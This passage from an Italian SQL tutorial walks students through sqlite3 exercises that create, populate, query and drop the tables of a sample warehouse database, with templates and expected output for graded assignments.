Per eseguire le istruzioni SQL contenute in un file, si usa il programma '**`sqlite3`**' nel modo seguente:

$ **sqlite3** ***file_db*** **<** ***file_sql*** [*Invio*]

In questo caso, le istruzioni contenute nel file ***file_sql***, vengono applicate alla base di dati contenuta nel file ***file_db***.

Per essere certi di sapere usare gli strumenti occorre fare una prova. Si realizzi il file di testo denominato 'prova-istruzioni.sql', contenente quanto segue, sostituendo le metavariabili ***cognome***, ***nome***, ***classe*** e ***data*** con qualcosa di appropriato:

```
-- Esercizio di prova di: cognome nome classe
-- Data: data
-- File: prova-istruzioni.sql

CREATE TABLE Prova (Codice  INTEGER,
                    Cognome VARCHAR(60),
                    Nome    VARCHAR(60));
```

Una volta salvato il file con il nome stabilito, lo si esegue nella base di dati contenuta nel file 'prova.db'. Dal momento che il file 'prova.db' non esiste, essendo la prima volta che viene utilizzato questo nome, l'esecuzione delle istruzioni comporta automaticamente la creazione della base di dati relativa:

$ **sqlite3 prova.db < prova-istruzioni.sql** [*Invio*]

Se non si vedono segnalazioni di alcun genere, le istruzioni contenute nel file 'prova-istruzioni.sql' sono state eseguite tutte con successo.

Le istruzioni contenute nel file 'prova-istruzioni.sql' servono a produrre una ***relazione***, denominata '**Prova**', contenente alcuni ***attributi*** ('**Codice**', '**Cognome**' e '**Nome**').

Se il file contenente le istruzioni SQL contiene degli errori, o viene eseguito quando ciò non deve essere fatto, è probabile vedere apparire dei messaggi, che vanno letti attentamente. Per esempio, se venisse eseguito nuovamente il file 'prova-istruzioni.sql' nella stessa base di dati, si otterrebbe una segnalazione che avvisa del fatto che la relazione '**Prova**' esiste già (e non può essere creata nuovamente):

$ **sqlite3 prova.db < prova-istruzioni.sql** [*Invio*]

```
CREATE TABLE Prova (Codice  INTEGER,
                    Cognome VARCHAR(60),
                    Nome    VARCHAR(60));
SQL error: table Prova already exists
```

Il programma '**sqlite3**' può essere usato anche interattivamente. Per farlo, si avvia senza indicare il file contenente le istruzioni SQL. Si proceda in questo modo:

$ **sqlite3 prova.db** [*Invio*]

A questo punto appare l'invito del programma '**sqlite3**', che indica la sua attesa di comandi o di istruzioni SQL, digitati direttamente:

```
sqlite>
```

Con il comando '**.schema**' (si osservi il fatto che il comando inizia con un punto) è possibile visualizzare l'elenco delle relazioni esistenti, in forma di istruzione SQL. Si proceda inserendo questo comando:

sqlite> **.schema** [*Invio*]

```
CREATE TABLE Prova (Codice  INTEGER,
                    Cognome VARCHAR(60),
                    Nome    VARCHAR(60));
```

Si proceda inserendo l'istruzione necessaria a eliminare la relazione '**Prova**' creata poco prima:

sqlite> **DROP TABLE Prova;** [*Invio*]

Si conclude con il funzionamento di '**sqlite3**' con il comando '**.quit**':

sqlite> **.quit** [*Invio*]

Prima di passare alle sezioni successive, vanno eliminati i file 'prova-istruzioni.sql' e 'prova.db' che non servono più.

In questi esercizi vengono creati i file seguenti, elencati in ordine alfabetico, con il riferimento alla sezione in cui sono utilizzati:

cancella-articoli.sql 5376
creazione-articoli.sql 5330
creazione-causali.sql 5331
creazione-clienti.sql 5333
creazione-fornitori.sql 5332
creazione-movimenti.sql 5335
grilletti-articoli.sql 5379
grilletti-causali.sql 5377
grilletti-movimenti.sql 5382
grilletti-movimenti-articoli.sql 5383
grilletti-movimenti-causali.sql 5388
grilletti-movimenti-clienti.sql 5385
grilletti-movimenti-fornitori.sql 5390
grilletto-valorizzazione-scarichi.sql 5406
interrogazione-articoli-01.sql 5341
interrogazione-articoli-02.sql 5344
interrogazione-articoli-03.sql 5349
interrogazione-articoli-04.sql 5350
interrogazione-causali-01.sql 5346
interrogazione-causali-02.sql 5351
interrogazione-clienti-01.sql 5345
interrogazione-fornitori-clienti-01.sql 5342
interrogazione-movimenti-causali-01.sql 5355
interrogazione-movimenti-causali-02.sql 5359
interrogazione-movimenti-causali-clienti-01.sql 5356
interrogazione-movimenti-causali-clienti-02.sql 5357
interrogazione-movimenti-causali-clienti-03.sql 5360
modifica-articoli.sql 5370

`modifica-clienti-fornitori.sql` 5371
`prova.db` 5323
`prova-cancella-causali.sql` 5373 5374
`prova-creazione-articoli.sql` 5329
`prova-interrogazione-movimenti-articoli.sql` 5353 5354 5358
`prova-interrogazione-movimenti-vu.sql` 5393
`prova-istruzioni.sql` 5323
`prova-modifica-causali.sql` 5367 5368
`prova-stampa-articoli-e-causali-01.sql` 5339
`prova-vista-listino.sql` 5361
`prova-vista-resi.sql` 5362
`vista-acquisti.sql` 5364
`vista-costo-medio-valido.sql` 5405
`vista-movimenti-extra.sql` 5394 5395
`vista-situazione-magazzino-1.sql` 5400
`vista-situazione-magazzino-2.sql` 5402
`vista-situazione-magazzino-3.sql` 5403
`vista-vendite.sql` 5365

90.1 Creazione ed eliminazione delle relazioni

Una ***relazione*** è un insieme di ***tuple***, suddivise in ***attributi***, tutte nello stesso modo. Una relazione si rappresenta normalmente in forma tabellare, dove le tuple sono costituite dalle righe e gli attributi dalle colonne.

Figura 90.4. Relazione «Articoli (Articolo, Descrizione, UM, Listino, ScortaMin)».

Articolo	Descrizione	UM	Listino	ScortaMin
1	Dischetti da 9 cm 1440 Kibyte	pz	0,20	500
2	Dischetti da 9 cm 1440 Kibyte colorati	pz	0,25	500
101	CD-R 16x	pz	0,50	500
102	CD-R 52x	pz	1,00	500
201	CD-RW 4x	pz	1,00	200
202	CD-RW 8x	pz	1,50	200
301	DVD-R 8x	pz	1,00	200
302	DVD-R 16x	pz	2,00	200
401	DVD+R 8x	pz	1,00	200
402	DVD+R 16x	pz	2,00	200
501	DVD-RW 8x	pz	2,00	200
601	DVD+RW 8x	pz	2,00	200

I valori che si possono inserire nelle celle della tabella dipendono dal ***dominio*** dell'attributo relativo. Per esempio, l'attributo '**`Listino`**' (corrispondente alla quarta colonna) della relazione '**`Articoli`**', può contenere solo valori numerici positivi, con un massimo di due decimali.

90.1.1 Creazione di una relazione

Con l'ausilio di un programma per la scrittura e la modifica di file di testo puro, si crei il file 'prova-creazione-articoli.sql', contenente il testo seguente, sostituendo le metavariabili con informazioni appropriate e rispettando la punteggiatura:

```
-- Creazione della relazione "Articoli"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: prova-creazione-articoli.sql

CREATE TABLE Articoli (Articolo    INTEGER        NOT NULL,
                       Descrizione CHAR(60)       NOT NULL,
                       UM          CHAR(7)        DEFAULT 'pz',
                       Listino     NUMERIC(14,2)  DEFAULT 0,
                       ScortaMin   NUMERIC(12,3)  DEFAULT 0,
                       PRIMARY KEY (Articolo));

INSERT INTO Articoli VALUES (1, 'Dischetti da 9 cm 1440 Kibyte', 'pz', 0.2, 500);
INSERT INTO Articoli VALUES (2, 'Dischetti da 9 cm 1440 Kibyte colorati', 'pz', 0.25, 500);
```

L'istruzione '**CREATE TABLE**' permette la creazione della relazione '**Articoli**', stabilendo dei vincoli, per cui gli attributi '**Articolo**' e '**Descrizione**' non possono contenere un valore nullo; inoltre viene stabilito il valore predefinito per gli altri attributi. Si stabilisce anche che l'attributo '**Articolo**' deve essere una chiave primaria, comportando la necessità che non appaiano tuple con lo stesso codice articolo.

Le istruzioni '**INSERT**', inseriscono le prime due tuple della relazione. A questo proposito, si osservi che i dati numerici, come il prezzo di listino e il livello della scorta minima, si indicano così come sono, con l'accortezza di usare **il punto per la separazione dei decimali**, mentre **le stringhe** (le informazioni testuali) **vanno delimitate da apici singoli**.

Si controlli di avere scritto il file 'prova-creazione-articoli.sql' in modo corretto, rispettando anche la punteggiatura; si controlli di avere salvato il file con li nome previsto, quindi si proceda con il comando seguente:

$ **sqlite3 mag.db < prova-creazione-articoli.sql** [*Invio*]

Se il programma mostra dei messaggi, si tratta di errori, che devono essere verificati attentamente, prima di proseguire.

> Si ricorda che il file 'mag.db', contenente la base di dati, viene creato automaticamente se non dovesse già essere presente.

90.1.2 Eliminazione di una relazione

Per eliminare una relazione si usa l'istruzione '**DROP TABLE**', come nell'esempio seguente:

```
DROP TABLE Articoli;
```

Si vuole eliminare la relazione '**Articoli**' appena creata nella base di dati contenuta nel file 'mag.db', ma trattandosi di un'operazione molto semplice, è meglio usare il programma

'**sqlite3**' in modo interattivo. Si avvii il programma '**sqlite3**' e si eseguano i comandi successivi, come descritto qui di seguito, utilizzando anche il comando '**.schema**' per avere l'elenco delle relazioni esistenti, prima di cancellare effettivamente quella stabilita:

```
$ sqlite3 mag.db [Invio]
```

```
  SQLite version …
  Enter ".help" for instructions
```

```
sqlite> .schema [Invio]
```

```
  CREATE TABLE Articoli (Articolo    INTEGER        NOT NULL,
                         Descrizione CHAR(60)       NOT NULL,
                         UM          CHAR(7)        DEFAULT 'pz',
                         Listino     NUMERIC(14,2)  DEFAULT 0,
                         ScortaMin   NUMERIC(12,3)  DEFAULT 0,
                         PRIMARY KEY (Articolo));
```

```
sqlite> DROP TABLE Articoli; [Invio]
```

```
sqlite> .quit [Invio]
```

Si ricorda che se, a seguito dell'inserimento dell'istruzione '**DROP TABLE**', il programma mostra dei messaggi, si tratta di errori che devono essere verificati attentamente, prima di proseguire.

90.1.3 Verifica sulla creazione e popolazione della relazione «Articoli»

Per poter svolgere questa verifica, gli studenti devono essere in grado di realizzare un file di testo contenente codice SQL, con le istruzioni necessarie alla creazione di una relazione e con quelle che permettono l'inserimento delle tuple. Inoltre, devono essere in grado di utilizzare il programma '**sqlite3**' in modo interattivo, per visualizzare l'elenco delle relazioni esistenti nella base di dati e per eliminare una relazione.

Si riprenda il file 'prova-creazione-articoli.sql' e lo si salvi con il nome 'creazione-articoli.sql'. Il file 'creazione-articoli.sql' va poi modificato aggiungendo le istruzioni necessarie a completare l'inserimento degli articoli che sono visibili nella figura 90.4.

Una volta completato e salvato il file 'creazione-articoli.sql', se ne controlli il funzionamento con la base di dati:

```
$ sqlite3 mag.db < creazione-articoli.sql [Invio]
```

Se si ottengono degli errori, si deve eliminare la relazione '**Articoli**' dalla base di dati contenuta nel file 'mag.db', utilizzando il programma '**sqlite3**' in modo interattivo, quindi, dopo le correzioni, si deve riprovare.

Una volta eseguita l'operazione con successo, si stampi il file 'creazione-articoli.sql' e lo si consegni per la correzione all'insegnante.

Nella valutazione viene controllata la correttezza del contenuto del file e la coerenza estetica nella scrittura delle istruzioni SQL.

90.1.4 Verifica sulla creazione e popolazione della relazione «Causali»

Prima di svolgere questa verifica, è necessario avere svolto quella precedente, della quale valgono anche gli stessi requisiti.

Si crei il file '`creazione-causali.sql`', inserendo le istruzioni necessarie a creare la relazione '**`Causali`**', con il contenuto che si vede nella figura 90.9, tenendo conto che:

1. l'attributo '**`Causale`**' è di tipo '**`INTEGER`**', non ammette il valore nullo e costituisce la chiave primaria;
2. l'attributo '**`Descrizione`**' è di tipo '**`CHAR`**' a 60 caratteri e non ammette il valore nullo;
3. l'attributo '**`Variazione`**' è di tipo '**`NUMERIC`**', a una sola cifra, senza decimali, con un valore predefinito pari a zero.

Figura 90.9. Relazione **`Causali (Causale, Descrizione, Variazione)`**.

Causale	Descrizione	Variazione
1	Carico per acquisto	+1
2	Scarico per vendita	-1
3	Reso da cliente	+1
4	Reso a fornitore	-1
5	Rettifica aumento acquisto	+1
6	Rettifica aumento vendite	-1
7	Rettifica diminuzione vendite	+1
8	Rettifica diminuzione acquisti	-1
9	Carico da produzione	+1
10	Scarico a produzione	-1
11	Carico da altro magazzino	+1
12	Scarico ad altro magazzino	-1
13	Saldo iniziale	+1

Figura 90.10. Scheletro del file '`creazione-causali.sql`', da completare.

```
-- Creazione della relazione "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: creazione-causali.sql

CREATE TABLE Causali …

INSERT INTO Causali …
…
```

Una volta completato e salvato il file '`creazione-causali.sql`', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < creazione-causali.sql** [*Invio*]

Se si ottengono degli errori, si deve eliminare la relazione '**Causali**' dalla base di dati contenuta nel file 'prova.db', utilizzando il programma '**sqlite3**' in modo interattivo, quindi, dopo le correzioni, si deve riprovare.

Una volta eseguita l'operazione con successo, si stampi il file 'creazione-causali.sql' e lo si consegni per la correzione all'insegnante.

Nella valutazione viene controllata la correttezza del contenuto del file e la coerenza estetica nella scrittura delle istruzioni SQL.

90.1.5 Verifica sulla creazione e popolazione della relazione «Fornitori»

Prima di svolgere questa verifica, è necessario avere svolto quelle precedenti, delle quali valgono anche gli stessi requisiti.

Si crei il file 'creazione-fornitori.sql', inserendo le istruzioni necessarie a creare la relazione '**Fornitori**', con il contenuto che si vede nella figura 90.11, tenendo conto che:

1. l'attributo '**Fornitore**' è di tipo '**INTEGER**', non ammette il valore nullo e costituisce la chiave primaria;
2. l'attributo '**RagioneSociale**' è di tipo '**VARCHAR**' a 120 caratteri e non ammette il valore nullo;
3. l'attributo '**Paese**' è di tipo '**CHAR**' a 30 caratteri e il suo valore predefinito è '**ITALIA**';
4. l'attributo '**Indirizzo**' è di tipo '**VARCHAR**' a 120 caratteri e non ammette il valore nullo;
5. l'attributo '**CAP**' è di tipo '**CHAR**' a 10 caratteri;
6. l'attributo '**Citta**' è di tipo '**VARCHAR**' a 120 caratteri e non ammette il valore nullo;
7. l'attributo '**Prov**' è di tipo '**CHAR**' a 2 caratteri e il suo valore predefinito è costituito da una stringa di dimensione nulla;
8. l'attributo '**Telefono**' è di tipo '**CHAR**' a 20 caratteri e il suo valore predefinito è costituito da una stringa di dimensione nulla;
9. l'attributo '**Fax**' è di tipo '**CHAR**' a 20 caratteri e il suo valore predefinito è costituito da una stringa di dimensione nulla;
10. l'attributo '**CFPI**' (codice fiscale o partita IVA) è di tipo '**CHAR**' a 30 caratteri e il suo valore predefinito è costituito da una stringa di dimensione nulla.

Figura 90.11. Relazione **`Fornitori (Fornitore, RagioneSociale, Paese, Indirizzo, CAP, Citta, Prov, Telefono, Fax, CFPI)`**.

Fornitore	RagioneSociale	Paese	Indirizzo	CAP	Citta	Prov	Telefono	Fax	CFPI
1	Tizio Tizi	ITALIA	via Tazio, 11	31100	Treviso	TV	0422,111111	0422,222222	12345678901
2	Caio Cai	ITALIA	via Caino, 22	31033	Castelfranco Veneto	TV	0423,222222	0423,333333	23456789012
3	Sempronio Semproni	ITALIA	via Salina, 33	31057	Silea	TV	0422,333333	0422,444444	34567890123

Figura 90.12. Scheletro del file '`creazione-fornitori.sql`', da completare.

```
-- Creazione della relazione "Fornitori"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: creazione-fornitori.sql

CREATE TABLE Fornitori …

INSERT INTO Fornitori …
…
```

Una volta completato e salvato il file '`creazione-fornitori.sql`', se ne controlli il funzionamento con la base di dati:

`$` **`sqlite3 mag.db < creazione-fornitori.sql`** [*Invio*]

Se si ottengono degli errori, si deve eliminare la relazione '**`Fornitori`**' dalla base di dati contenuta nel file '`mag.db`', utilizzando il programma '**`sqlite3`**' in modo interattivo, quindi, dopo le correzioni, si deve riprovare.

Una volta eseguita l'operazione con successo, si stampi il file '`creazione-fornitori.sql`' e lo si consegni per la correzione all'insegnante.

Nella valutazione viene controllata la correttezza del contenuto del file e la coerenza estetica nella scrittura delle istruzioni SQL.

90.1.6 Verifica sulla creazione e popolazione della relazione «Clienti»

Prima di svolgere questa verifica, è necessario avere svolto quelle precedenti, delle quali valgono anche gli stessi requisiti.

Si crei il file '`creazione-clienti.sql`', inserendo le istruzioni necessarie a creare la relazione '**`Clienti`**', con il contenuto che si vede nella figura 90.13, tenendo conto che:

1. l'attributo '**`Cliente`**' è di tipo '**`INTEGER`**', non ammette il valore nullo e costituisce la chiave primaria;

2. l'attributo '**RagioneSociale**' è di tipo '**VARCHAR**' a 120 caratteri e non ammette il valore nullo;
3. l'attributo '**Paese**' è di tipo '**CHAR**' a 30 caratteri e il suo valore predefinito è '**ITALIA**';
4. l'attributo '**Indirizzo**' è di tipo '**VARCHAR**' a 120 caratteri e non ammette il valore nullo;
5. l'attributo '**CAP**' è di tipo '**CHAR**' a 10 caratteri;
6. l'attributo '**Citta**' è di tipo '**VARCHAR**' a 120 caratteri e non ammette il valore nullo;
7. l'attributo '**Prov**' è di tipo '**CHAR**' a 2 caratteri e il suo valore predefinito è costituito da una stringa di dimensione nulla;
8. l'attributo '**Telefono**' è di tipo '**CHAR**' a 20 caratteri e il suo valore predefinito è costituito da una stringa di dimensione nulla;
9. l'attributo '**Fax**' è di tipo '**CHAR**' a 20 caratteri e il suo valore predefinito è costituito da una stringa di dimensione nulla;
10. l'attributo '**CFPI**' (codice fiscale o partita IVA) è di tipo '**CHAR**' a 30 caratteri e il suo valore predefinito è costituito da una stringa di dimensione nulla.

Figura 90.13. Relazione **Clienti (Cliente, RagioneSociale, Paese, Indirizzo, CAP, Citta, Prov, Telefono, Fax, CFPI).**

Cliente	RagioneSociale	Paese	Indirizzo	CAP	Citta	Prov	Telefono	Fax	CFPI
1	Mevio Mevi	ITALIA	via Mare, 11	31050	Morgano	TV	0422,444444	0422,555555	45678901234
2	Filano Filani	ITALIA	via Farfalle, 22	31032	Feltre	BL	0439,555555	0439,666666	56789012345
3	Martino Martini	ITALIA	via Marte, 33	31010	Mareno di Piave	TV	0438,666666	0438,777777	67890123456

Figura 90.14. Scheletro del file 'creazione-clienti.sql', da completare.

```
-- Creazione della relazione "Clienti"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: creazione-clienti.sql

CREATE TABLE Clienti …

INSERT INTO Clienti …
…
```

Una volta completato e salvato il file 'creazione-clienti.sql', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < creazione-clienti.sql** [*Invio*]

Se si ottengono degli errori, si deve eliminare la relazione '**Clienti**' dalla base di dati contenuta nel file 'mag.db', utilizzando il programma '**sqlite3**' in modo interattivo, quindi, dopo le correzioni, si deve riprovare.

Una volta eseguita l'operazione con successo, si stampi il file '`creazione-clienti.sql`' e lo si consegni per la correzione all'insegnante.

Nella valutazione viene controllata la correttezza del contenuto del file e la coerenza estetica nella scrittura delle istruzioni SQL.

90.1.7 Verifica sulla creazione e popolazione della relazione «Movimenti»

Prima di svolgere questa verifica, è necessario avere svolto quelle precedenti, delle quali valgono anche gli stessi requisiti.

Si crei il file '`creazione-movimenti.sql`', inserendo le istruzioni necessarie a creare la relazione '**`Movimenti`**', con il contenuto che si vede nella figura 90.15, tenendo conto che:

1. l'attributo '**`Movimento`**' è di tipo '**`INTEGER`**', non ammette il valore nullo e costituisce la chiave primaria;
2. l'attributo '**`Articolo`**' è di tipo '**`INTEGER`**' e non ammette il valore nullo;
3. l'attributo '**`Causale`**' è di tipo '**`INTEGER`**' e non ammette il valore nullo;
4. l'attributo '**`Data`**' è di tipo '**`DATE`**' e non ammette il valore nullo;
5. l'attributo '**`Cliente`**' è di tipo '**`INTEGER`**';
6. l'attributo '**`Fornitore`**' è di tipo '**`INTEGER`**';
7. l'attributo '**`Quantita`**' è di tipo '**`NUMERIC`**' a 15 cifre, di cui cinque sono usate per i decimali, e non ammette il valore nullo;
8. l'attributo '**`Valore`**' è di tipo '**`NUMERIC`**' a 14 cifre, di cui due sono usate per i decimali, e non ammette il valore nullo.

Figura 90.15. Relazione **`Movimenti (Movimento, Articolo, Causale, Data, Cliente, Fornitore, Quantita, Valore)`**.

Movi-mento	Articolo	Causale	Data	Cliente	Fornito-re	Quantita	Valore
1	2	1	2010-01-15	NULL	3	10000	100,00
2	2	2	2010-01-16	2	NULL	1000	10,00
3	102	1	2010-01-17	NULL	2	1000	200,00
4	102	2	2010-01-18	1	NULL	100	20,00
5	401	1	2010-01-19	NULL	1	1000	200,00
6	401	2	2010-01-20	3	NULL	200	40,00
7	401	4	2010-01-20	NULL	1	100	20,00
8	102	4	2010-01-20	NULL	2	100	20,00
9	601	1	2010-01-21	NULL	3	2000	1000,00
10	601	2	2010-01-25	1	NULL	1000	500,00

Figura 90.16. Scheletro del file 'creazione-movimenti.sql', da completare.

```
-- Creazione della relazione "Movimenti"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: creazione-movimenti.sql

CREATE TABLE Movimenti …

INSERT INTO Movimenti …
…
```

Si ricorda che i valori numerici vanno indicati come sono, con l'accortezza di usare il punto per la separazione dei decimali; le date, come le stringhe (i valori testuali) vanno delimitate con apici singoli. In questo caso, quando viene a mancare il valore per il cliente o il fornitore, si inserisce il valore «nullo», che si scrive con la parola chiave '**NULL**', come appare nella figura 90.15, senza usare apici.

Una volta completato e salvato il file 'creazione-movimenti.sql', se ne controlli il funzionamento con la base di dati:

$ **sqlite3 mag.db < creazione-movimenti.sql** [*Invio*]

Se si ottengono degli errori, si deve eliminare la relazione '**Movimenti**' dalla base di dati contenuta nel file 'mag.db', utilizzando il programma '**sqlite3**' in modo interattivo, quindi, dopo le correzioni, si deve riprovare.

Una volta eseguita l'operazione con successo, si stampi il file 'creazione-movimenti.sql' e lo si consegni per la correzione all'insegnante.

Nella valutazione viene controllata la correttezza del contenuto del file e la coerenza estetica nella scrittura delle istruzioni SQL.

90.1.8 Conclusione

Prima di passare alla sezione successiva, si deve realizzare un file contenente le istruzioni con cui creare e popolare le relazioni descritte in questa. In pratica, si tratta di copiare il contenuto dei file 'creazione-articoli.sql', 'creazione-causali.sql', 'creazione-fornitori.sql', 'creazione-clienti.sql' e 'creazione-movimenti.sql', in un file completo, denominato 'magazzino.sql'.

Una volta realizzato il file 'magazzino.sql', si deve cancellare il file 'mag.db' e ricreare a partire dalle istruzioni contenute nel file 'magazzino.sql':

$ **sqlite3 mag.db < magazzino.sql** [*Invio*]

Se vengono segnalati degli errori, occorre correggere il file 'magazzino.sql', cancellare nuovamente il file 'mag.db', quindi si deve ripetere l'operazione. La base di dati contenuta nel file 'mag.db', viene usata ancora e non si può proseguire se non si riesce a ricrearla correttamente.

All'inizio della sezione è stato creato il file 'prova-creazione-articoli.sql' che a questo punto non serve più e va eliminato.

90.2 Interrogazione semplice di una relazione

Attraverso l'istruzione '**SELECT**' è possibile estrarre il contenuto di una o più relazioni simultaneamente. In questa sezione si mostrano alcune situazioni riferite a una sola relazione.

90.2.1 Interrogazione completa

Si ottiene l'elenco completo di una relazione utilizzando l'istruzione seguente:

```
SELECT * FROM nome_relazione
```

Si eseguano i passaggi seguenti, per ottenere la visualizzazione del contenuto complessivo della relazione '**Articoli**' e della relazione '**Causali**', così come dovrebbero essere contenute nella base di dati del file '**mag.db**':

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version …
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT * FROM Articoli;** [*Invio*]

```
Articolo    Descrizione                    UM          Listino     ScortaMin
----------  -----------------------------  ----------  ----------  ----------
1           Dischetti da 9 cm 1440 Kibyte  pz          0.2         500
2           Dischetti da 9 cm 1440 Kibyte  pz          0.25        500
101         CD-R 16x                       pz          0.5         500
102         CD-R 52x                       pz          1           500
201         CD-RW 4x                       pz          1           200
202         CD-RW 8x                       pz          1.5         200
301         DVD-R 8x                       pz          1           200
302         DVD-R 16x                      pz          2           200
401         DVD+R 8x                       pz          1           200
402         DVD+R 16x                      pz          2           200
501         DVD-RW 8x                      pz          2           200
601         DVD+RW 8x                      pz          2           200
```

sqlite> **SELECT * FROM Causali;** [*Invio*]

```
Causale     Descrizione           Variazione
----------  --------------------  ----------
1           Carico per acquisto   1
2           Scarico per vendita   -1
3           Reso da cliente       1
4           Reso a fornitore      -1
5           Rettifica aumento a   1
6           Rettifica aumento v   -1
7           Rettifica diminuzio   1
8           Rettifica diminuzio   -1
9           Carico da produzion   1
10          Scarico a produzion   -1
11          Carico da altro mag   1
12          Scarico ad altro ma   -1
13          Saldo iniziale        1
```

sqlite> **.quit** [*Invio*]

Si osservi che i comandi '**.headers on**' e '**.mode column**' servono a ottenere un elenco incolonnato con le intestazioni, altrimenti, il risultato sarebbe poco gradevole esteticamente.

90.2.2 Interrogazione con selezione di alcuni attributi

Si ottiene l'elenco di tutte le tuple di una relazione, limitatamente a un certo gruppo di attributi, mettendo, al posto dell'asterisco, i nomi degli attributi desiderati:

SELECT ***attributo*** [, ***attributo***]... FROM ***nome_relazione***

Si eseguano i passaggi seguenti, per ottenere la visualizzazione del contenuto di tutte le tuple della relazione '**Articoli**', limitatamente agli attributi '**Articolo**', '**Descrizione**' e '**Listino**', così come dovrebbero essere contenute nella base di dati del file '**mag.db**':

$ **sqlite3 mag.db** [*Invio*]

```
SQLite version ...
Enter ".help" for instructions
```

sqlite> **.headers on** [*Invio*]

sqlite> **.mode column** [*Invio*]

sqlite> **SELECT Articolo, Descrizione, Listino FROM Articoli;** [*Invio*]

```
Articolo    Descrizione                     Listino
----------  ------------------------------  ----------
1           Dischetti da 9 cm 1440 Kibyte   0.2
2           Dischetti da 9 cm 1440 Kibyte   0.25
101         CD-R 16x                        0.5
102         CD-R 52x                        1
201         CD-RW 4x                        1
202         CD-RW 8x                        1.5
301         DVD-R 8x                        1
302         DVD-R 16x                       2
401         DVD+R 8x                        1
402         DVD+R 16x                       2
501         DVD-RW 8x                       2
601         DVD+RW 8x                       2
```

Intuitivamente, si comprende che si può anche cambiare l'ordine di visualizzazione degli attributi:

sqlite> **SELECT Descrizione, Articolo, Listino FROM Articoli;** [*Invio*]

```
Descrizione                     Articolo    Listino
------------------------------  ----------  ----------
Dischetti da 9 cm 1440 Kibyte   1           0.2
Dischetti da 9 cm 1440 Kibyte   2           0.25
CD-R 16x                        101         0.5
CD-R 52x                        102         1
CD-RW 4x                        201         1
CD-RW 8x                        202         1.5
DVD-R 8x                        301         1
DVD-R 16x                       302         2
DVD+R 8x                        401         1
DVD+R 16x                       402         2
DVD-RW 8x                       501         2
DVD+RW 8x                       601         2
```

Si conclude il funzionamento interattivo di '**sqlite3**' con il comando '**.quit**':

sqlite> **.quit** [*Invio*]

90.2.3 Stampa del contenuto di una relazione

Per ottenere la stampa del contenuto di una o di più relazioni, conviene scrivere le istruzioni necessarie in un file di testo, come già fatto in precedenza. Si proceda con la creazione del file 'prova-stampa-articoli-e-causali.sql', con il contenuto seguente, che ricalca quanto già mostrato nelle sezioni precedenti:

```
-- Stampa del contenuto delle relazioni "Articoli" e "Causali"
-- Esercizio di: cognome nome classe
-- Data: data
```

```
-- File: prova-stampa-articoli-e-causali.sql

.headers on
.mode column

SELECT * FROM Articoli;
SELECT * FROM Causali;
```

Per verificare il funzionamento delle istruzioni contenute nel file '`stampa-articoli-e-causali.sql`', si può utilizzare il comando seguente, che interviene nella base di dati contenuta nel file '`mag.db`', limitandosi a visualizzare il risultato:

`$` **`sqlite3 mag.db < prova-stampa-articoli-e-causali.sql`** [*Invio*]

Si dovrebbe ottenere il listato seguente:

```
Articolo    Descrizione                    UM          Listino     ScortaMin
----------  -----------------------------  ----------  ----------  ----------
1           Dischetti da 9 cm 1440 Kibyte  pz          0.2         500
2           Dischetti da 9 cm 1440 Kibyte  pz          0.25        500
101         CD-R 16x                       pz          0.5         500
102         CD-R 52x                       pz          1           500
201         CD-RW 4x                       pz          1           200
202         CD-RW 8x                       pz          1.5         200
301         DVD-R 8x                       pz          1           200
302         DVD-R 16x                      pz          2           200
401         DVD+R 8x                       pz          1           200
402         DVD+R 16x                      pz          2           200
501         DVD-RW 8x                      pz          2           200
601         DVD+RW 8x                      pz          2           200
Causale     Descrizione          Variazione
----------  -------------------  ----------
1           Carico per acquisto  1
2           Scarico per vendita  -1
3           Reso da cliente      1
4           Reso a fornitore     -1
5           Rettifica aumento a  1
6           Rettifica aumento v  -1
7           Rettifica diminuzio  1
8           Rettifica diminuzio  -1
9           Carico da produzion  1
10          Scarico a produzion  -1
11          Carico da altro mag  1
12          Scarico ad altro ma  -1
13          Saldo iniziale       1
```

Per ottenere il risultato stampato su carta, basta modificare leggermente il comando:

`$` **`sqlite3 mag.db < prova-stampa-articoli-e-causali.sql | lpr`** [*Invio*]

90.2.4 Verifica sull'interrogazione della relazione «Articoli»

Si prepari il file '`interrogazione-articoli-01.sql`', seguendo lo scheletro seguente, tenendo conto che si vuole ottenere l'elenco di tutte le tuple della relazione '**`Articoli`**', ordinando gli attributi in questo modo: '**`Descrizione`**', '**`Articolo`**', '**`UM`**', '**`ScortaMin`**' e '**`Listino`**'.

Figura 90.25. Scheletro del file '`interrogazione-articoli-01.sql`', da completare.

```
-- Interrogazione della relazione "Articoli"
-- Esercizio di: cognome nome classe
-- Data: data
-- File: interrogazione-articoli-01.sql

.headers on
.mode column

SELECT …
```

Una volta completato e salvato il file '`interrogazione-articoli-01.sql`', se ne controlli il funzionamento con la base di dati:

`$` **`sqlite3 mag.db < interrogazione-articoli-01.sql`** [*Invio*]

Si dovrebbe ottenere il risultato seguente:

```
Descrizione                    Articolo    UM          ScortaMin   Listino
-----------------------------  ----------  ----------  ----------  ----------
Dischetti da 9 cm 1440 Kibyte  1           pz          500         0.2
Dischetti da 9 cm 1440 Kibyte  2           pz          500         0.25
CD-R 16x                       101         pz          500         0.5
CD-R 52x                       102         pz          500         1
CD-RW 4x                       201         pz          200         1
CD-RW 8x                       202         pz          200         1.5
DVD-R 8x                       301         pz          200         1
DVD-R 16x                      302         pz          200         2
DVD+R 8x                       401         pz          200         1
DVD+R 16x                      402         pz          200         2
DVD-RW 8x                      501         pz          200         2
DVD+RW 8x                      601         pz          200         2
```

Se il risultato è corretto, si proceda con la stampa:

`$` **`sqlite3 mag.db < interrogazione-articoli-01.sql | lpr`** [*Invio*]

Si consegni per la valutazione, la stampa ottenuta in questo modo, assieme alla stampa del file '`interrogazione-articoli-01.sql`'.

90.2.5 Verifica sull'interrogazione delle relazioni «Fornitori» e «Clienti»

